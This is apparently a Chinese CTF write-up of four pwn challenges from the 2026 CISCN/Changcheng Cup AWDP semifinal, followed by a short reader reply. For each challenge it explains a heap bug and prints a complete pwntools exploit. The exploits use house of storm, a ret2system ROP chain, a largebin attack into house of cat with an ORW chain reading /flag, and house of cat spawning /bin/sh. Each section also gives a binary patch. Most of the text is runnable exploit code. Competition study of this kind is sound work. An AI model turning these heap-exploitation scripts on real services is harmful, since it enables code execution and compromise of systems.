2026 CISCN&长城杯半决赛 AWDP-PWN
2026 CISCN&长城杯半决赛 AWDP-PWN 题解
2026长城杯半决赛 AWDP-PWN
附件:https://pan.quark.cn/s/ed26974c74d5
catchme
break
这题很明显有个 uaf 漏洞,free 后 show 可以泄露出 libc, libc 版本是 2.27 ,由于 edit 只能从 8 字节偏移处开始写,没法用常规的 uaf 修改 tcachebin 和 fastbin ,因此我们需要用到 house of storm 的手法,只要堆地址是 0x56 开头就可以成功
exp
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './catchme'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc
def borrow(idx):
rt(">>\n")
sl('1')
rt("(3)otter\n")
sl(str(idx))
def delete(idx):
rt(">>\n")
sl("2")
rt("index:\n")
sl(str(idx))
def show(idx):
rt(">>\n")
sl("3")
rt("index:\n")
sl(str(idx))
def set_name(idx, content):
rt(">>\n")
sl("4")
rt("index:\n")
sl(str(idx))
rt("set tag:\n")
s(content)
def clean(idx):
rt(">>\n")
sl("6")
rt("index:\n")
sl(str(idx))
while True:
# p = remote("10.11.253.75", 21733)
p = process(file_name)
for i in range(7):
borrow(3)
delete(0)
clean(0)
borrow(1) # 0
borrow(1) # 1
delete(0)
show(0)
rt("tag:")
leak_address = u64(p.recv(6).ljust(8, b'\x00'))
log.info(hex(leak_address))
libc_base = leak_address - 0x3ebca0
log.info(hex(libc_base))
borrow(2) # 2
rt("token(2):")
flag_hex_str = p.recvline().strip()
flag_value = int(flag_hex_str, 16)
print(flag_hex_str)
if flag_value != 0x56:
p.close()
continue
borrow(2) # 3
delete(2)
free_hook_address = libc_base + 0x3ed8e8
log.info(hex(free_hook_address))
payload = p64(free_hook_address - 0x10 - 0x8)
set_name(2, payload)
payload = p64(free_hook_address - 0x10 - 0x8 + 0x8)
payload += p64(0)
payload += p64(free_hook_address - 0x18 - 0x10 - 0x8 - 5)
set_name(0, payload)
one_gadget = libc_base + 0x4f302
borrow(3)
set_name(4, p64(one_gadget))
delete(0)
it()fix
free 后把指针清空就可以过 check
0E25 028 B8 00 00 00 00 mov eax, 0改为
0E25 028 48 89 1F mov [rdi], rbx broken_message
break
逆向出的结构体
struct broken_arena // sizeof=0x40
00000000 { // XREF: .bss:g_root_arena/r
00000000 unsigned __int64 magic;
00000008 unsigned __int64 freelist_decode_mask; // XREF: arena_alloc+12D/r
00000010 unsigned int freelist_cookie; // XREF: arena_alloc+137/r
00000010 // arena_alloc+213/r
00000014 unsigned int bytes_left;
00000018 unsigned int arena_size;
0000001C unsigned int _pad;
00000020 struct broken_arena *next; // XREF: arena_init+A5/w
00000028 struct broken_arena *prev; // XREF: arena_init+73/r
00000028 // arena_init+82/r ...
00000030 void *bump_cursor;
00000038 unsigned int *freelist_heads; // XREF: arena_alloc:loc_15F1/r
00000038 // arena_alloc+118/r ...
00000040 };初始化我们可以看到这里注册了一个堆上的备用栈

漏洞点

可以看到也是 uaf 漏洞

从具体的 free 函数看出程序对空闲堆块的管理是单链表,对指针有类似高版本 glibc 的指针保护,这意味着我们没法泄露出 heap 地址
但是我们看到程序注册了段错误处理的 handle

这里可以看到会把报错的地址给我们,也就意味着,我们随便伪造一个非法地址,程序不会退出,而是在备用栈上重新启动一个 main,那么通过这个非法地址的信息,我们就可以计算出 heap 地址:double free 后 show,我们可以得到 heap^key 的值,再 add 写入 0x80808080,这个时候就把一个伪造的地址链入了 bin 中,再 add 两次就会触发段错误,会将错误地址打印出来,这个错误地址就是 0x80808080 ^ key,我们可以算出 key 进而算出 heap 地址
由于我们已经知道了 heap 地址,第二次我们 double free 后show 就可以算出 key,这个时候就相当于有了任意地址读写,而备用栈是在 heap 地址上的,所以我们也知道了栈地址,只要读出栈上的函数地址就可以泄露 libc,然后 ret2system 即可
exp
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './pwn'
p = process(file_name)
# p = remote('10.11.253.70', 24723)
elf_file = ELF(file_name)
libc_file = ELF("./libc.so.6")
context.log_level = 'debug'
context(arch=elf_file.arch, bits=elf_file.bits, endian=elf_file.endian, os=elf_file.os)
def add(idx, size, content):
rt(">>")
sl('1')
rt(": ")
sl(str(idx))
rt(": ")
sl(str(size))
rt(": ")
s(content)
def free(idx):
rt(">>")
sl('2')
rt(": ")
sl(str(idx))
def show(idx):
rt(">>")
sl('3')
rt(": ")
sl(str(idx))
def edit(idx, content):
rt(">>")
sl('4')
rt(": ")
sl(str(idx))
rt(": ")
s(content)
add(0,0x100,b'\x80'*4)
free(0)
free(0)
show(0)
key_a = ru(4)
pr(key_a)
add(1, 0x100, b'\x80\x80\x80\x80')
add(2, 0x100, b'\x80\x80\x80\x80')
add(3, 0x100, b'')
rt('0x')
key_1 = ri(12) ^ 0x80808080
heap_address_1 = (key_1 ^ key_a) - 4
pr(heap_address_1)
add(0,0x100,b'\x80'*4)
free(0)
free(0)
show(0)
key_b = ru(4)
heap_address_2 = heap_address_1 + 0x4000 + 4
srop_address = heap_address_1 - 0xc28 + 0x640
key_2 = heap_address_2 ^ key_b
pr(srop_address)
add(1, 0x100, p64(srop_address ^ key_2)[0:4])
add(2, 0x100, b'0')
add(3, 0x100, b'0')
show(3)
libc_base_address = u64(p.recv(6) + b'\x00\x00') - 0x45330
pr(libc_base_address)
ret_gadget = libc_file.search(asm("ret"), executable=True).__next__() + libc_base_address
pop_rdi_gadget = libc_file.search(asm("pop rdi; ret"), executable=True).__next__() + libc_base_address
bin_sh_address = libc_file.search('/bin/sh').__next__() + libc_base_address
system_address = libc_file.sym['system'] + libc_base_address
edit(3, p64(pop_rdi_gadget) + p64(bin_sh_address) + p64(ret_gadget) + p64(system_address))
rt('>>')
sl('5')
it()fix
把 size 的清空改成 heap 的清空
lea rdx, ds:0[rax*4]
lea rax, dword_5140
mov dword ptr [rdx+rax], 0改成
lea rdx, ds:0[rax*8]
lea rax, qword_50C0
mov qword ptr [rdx+rax], 0
nopeasy_rw_revenge
break
和初赛一样,有个前端,这次前端比较简单

只要过了 rc4 加密就可以和后端通信
#!/usr/bin/python3
from Cryptodome.Cipher import ARC4
from pwn import *
from ctypes import *
clibc = cdll.LoadLibrary("./libc.so.6")
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
# file_name = ''
# p = process(file_name)
p = remote("localhost",9999)
def rc4_encrypt(plaintext):
global key
cipher = ARC4.new(key)
return cipher.encrypt(plaintext)
def tel(choose,size):
return p32(choose) + p64(0) + p32(size)
def login(data):
length = len(data)
pay = tel(0xFFFF2525,length) + data
s(pay)
content = b"#welcome!_c1sCn_2026"
clibc.srand(int(time.time()))
key = []
for i in range(0x20):
key.append(clibc.rand()&0xff)
key = bytes(key)
result = rc4_encrypt(content)
login(result)
cookie = p.recv(0x20)
print(cookie)
it()
通过这个脚本可以拿到 cookie,接下来就看后端
后端服务需要爆破一下 md5 值

这里由于 md5 值是 0x7C994FE632004064,第三位是 \0,因此我们只需爆破三位即可
import itertools
import hashlib
import string
chrs = string.ascii_letters
for i in itertools.product(chrs,repeat=8):
data = ''.join(i)
res = hashlib.md5(data.encode()).hexdigest()
if res[:6] == "644000":
print(f"result: {data}")
print(res)
break得到的结果是 aaabUYkl
漏洞点比较隐晦

这里看似 free 后会把原先值覆盖,但是由于 size 是 int 类型,导致可以负数绕过大小限制,malloc 失败后程序程序不会中止,原先的 heap 地址也没有覆盖,这样就会导致 uaf 漏洞;由于只有 0x500 大小以上的堆块可以 uaf,因此通过 largebin attack 覆盖 _IO_list_all 打 house of cat 的 orw
exp
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './pwn1'
ip = "localhost"
port = 9999
p = remote("localhost",9999)
elf = ELF(file_name)
libc = ELF("./libc.so.6")
cookie = b'\xe8\xb0\xcd\xc9\xdd\x1e\xb4\xf3X\xcd\xa7\x16\x9c]M\xfb\x80\n\x04\xacI\xc3A^Y\x0b\x0cRj\xc3\x0b\xdc'
def restart():
global p
p.close()
p = remote(ip,port)
def tel(command,size,idx,content):
pay = cookie + start + b'{' + ':'.join([command,str(size),str(idx)]).encode() + b':' + content + b'}'
length = len(pay)
pay = p32(0x7F687985) + p64(0) + p32(length) + pay
return pay
def add(idx,size,content=b''):
global p
s(tel("add",size,idx,content))
restart()
def edit(idx,content):
s(tel("edit",idx,0,content))
restart()
def free(idx):
s(tel("delete",idx,0,b''))
restart()
def show(idx):
s(tel("show",idx,0,b''))
def free2(idx):
global p
s(tel("add",-1,idx,b''))
restart()
start = b"rtsp://aaabUYkl/"
add(0,0x510)
add(1,0x510)
add(2,0x510)
add(3,0x510)
free2(0)
free2(2)
show(0)
libc.address = ru(6) - 0x21ace0
pr(libc.address)
restart()
show(2)
heap = ru(6)
pr(heap)
restart()
free(1)
free(3)
large_size = 0x540
small_size = 0x530
su_large_size = 0x700
rax = next(libc.search(asm("pop rax;ret")))
rdi = next(libc.search(asm("pop rdi;ret")))
rsi = next(libc.search(asm("pop rsi;ret")))
rdx = next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))
#heap_addr 是用来构造数据的堆的数据区地址,也就是 rdx 所指向的位置
heap_addr = heap + 0x560
pay = flat({
0x0: heap_addr + 0xb0,
0x8: b'/flag\x00\x00\0',
0xa0: heap_addr + 0xb0, # rsp
0xa8: rax # rip
},filler = p64(heap)) #其余位置必须是一个地址,否则会报错,数值是什么都无所谓
pay = pay.ljust(0xb0,b'\x00')
#前面是
addr = heap_addr + 0x8 # '/flag地址'
addr2 = heap_addr + 0x10 # 存放flag的地址
#这里用的是 openat
pay += flat(257,rdi,-0x64,rsi,addr,rdx,0,0,syscall)
pay += flat(rax,0,rdi,5,rsi,addr2,rdx,0x30,0,syscall)
pay += flat(rax,1,rdi,4,rsi,addr2,rdx,0x30,0,syscall)
add(4,large_size)
add(1,0x400,pay)
pr(heap+0xa90)
fake_addr = heap + 0xa90 - 0x130 # 自己的地址
pay2 = flat({
0x20: p64(libc.sym["setcontext"]+0x3d), # call
0x38: p64(1), # wide->data->write_base and mode
0x40: p64(heap_addr), # wite_ptr and rdx
0x78: p64(fake_addr + 0x50), # _lock = a writable address == 0
0x90: p64(fake_addr + 0x30), # wide_data
0xb0: p64(1), # mode
0xc8: p64(libc.sym["_IO_wfile_jumps"] + 0x30),
0x100: p64(fake_addr + 0x18) # rax
},filler = b'\0')
add(5,small_size,pay2)
free2(4)
add(3,su_large_size)
free(5)
IO_list_all = libc.sym["_IO_list_all"]
edit(4,flat(0,libc.address+0x21b120,0,IO_list_all-0x20))
add(9,su_large_size)
s(tel("delete",0x10,0,b''))
it()fix
把有符号跳转改成无符号跳转即可
jg short loc_18A7改成
jnb short loc_18A7minidb
break
漏洞分析
程序正常逻辑是只有堆块引用为 0 才会 free

但是有一个分支

这里不管堆块引用有多少,都会 free 掉,这里就会存在 uaf 漏洞;
同时

这里有没有对 heap 内容清空,会导致信息残留
由于该程序没有提供类似 edit 的功能,我们考虑通过预留指针造成堆叠来修改已经 free 的堆块,最后走 house of cat
exp
#!/usr/bin/python3
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './pwn'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc
pie = 1
def dbg(* addrs):
pay = ''
if pie:
for i in addrs:
pay += 'b *$rebase( ' + str(i) + ')' + '\n'
else:
for i in addrs:
pay += 'b *' + str(i) + '\n'
gdb.attach(p,pay)
def set_content(key,value):
rt("> ")
sl(b"SET " + key)
rt("Value> ")
sl(value)
def get_content(key):
rt("> ")
sl(b"GET " + key)
rt("VAL: ")
def clone(src_key,dest_key):
rt("> ")
sl(b"CLONE "+src_key+b' '+dest_key)
def multi():
rt("> ")
sl(b"MULTI")
def exec():
rt("> ")
sl(b"EXEC")
def debug():
gdb.attach(p)
pause()
def abort():
rt("> ")
sl(b'ABORT')
# dbg(0x16F4)
# dbg(0x01948) # show
multi()
set_content(b'a',b'a'*0x4f0)
set_content(b'a',b'a'*0x500)
multi()
set_content(b'b',b'a'*0x500)
clone(b'b',b'c')
set_content(b'b',b'a'*0x500)
set_content(b'd',b'a'*0x510)
get_content(b'c')
heap = ru(6)
pr(heap)
exec()
set_content(b'a',b'a'*0x510)
#
set_content(b'e',b'a'*0x960)
get_content(b'c')
libc.address = ru(6) - 0x21ace0
pr(libc.address)
key1 = (heap >> 12) + 1
# dbg(0x01948)
set_content(p8(110),b'a'*0x500)
multi()
set_content(p8(111),b'a'*0x500)
clone(p8(111),p64(key1))
clone(p8(111),p8(113))
set_content(p8(111),b'a'*0x100)
exec()
set_content(p8(110),b'a'*0x100)
set_content(p8(114),b'a'*0x500+flat(0,0x51,0,0))
multi()
set_content(p8(115),b'a'*0x30)
exec()
set_content(p8(115),b'a'*0x100)
multi()
set_content(p64(key1),b'a'*100)
exec()
set_content(p8(114),b'a'*0x100)
target = ((heap+0x19d0)>>12) ^ (libc.sym["_IO_list_all"]-0x10)
set_content(p8(115),b'a'*0x500+flat(0,0x51,target,0))
fake_addr = heap+0x1c40#伪造的 _IO_list_all 的地址,一般是堆块数据区
pay = flat({
0x0: b"/bin/sh\0", #_flags=rdi
0x8: p64(1), # wide->data->write_base and mode
0x10: p64(0xdeadbeef), # wide->data->write_ptr and rdx
0x18: p64(libc.sym["system"]), # call
0x88: p64(fake_addr + 0x30), # _lock = a writable address == 0
0xa0: p64(fake_addr - 0x10), # wide_data
0xc0: p64(1), # mode
0xd0: p64(fake_addr), # rax
0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30)},filler = b'\0')
set_content(p8(117),pay)
set_content(p8(114),b'a'*0x30)
set_content(p8(110),flat(fake_addr)+b'a'*0x28)
rt("> ")
sl("EXIT")
it()
我去,太厉害了师傅,我将狠狠复现
😁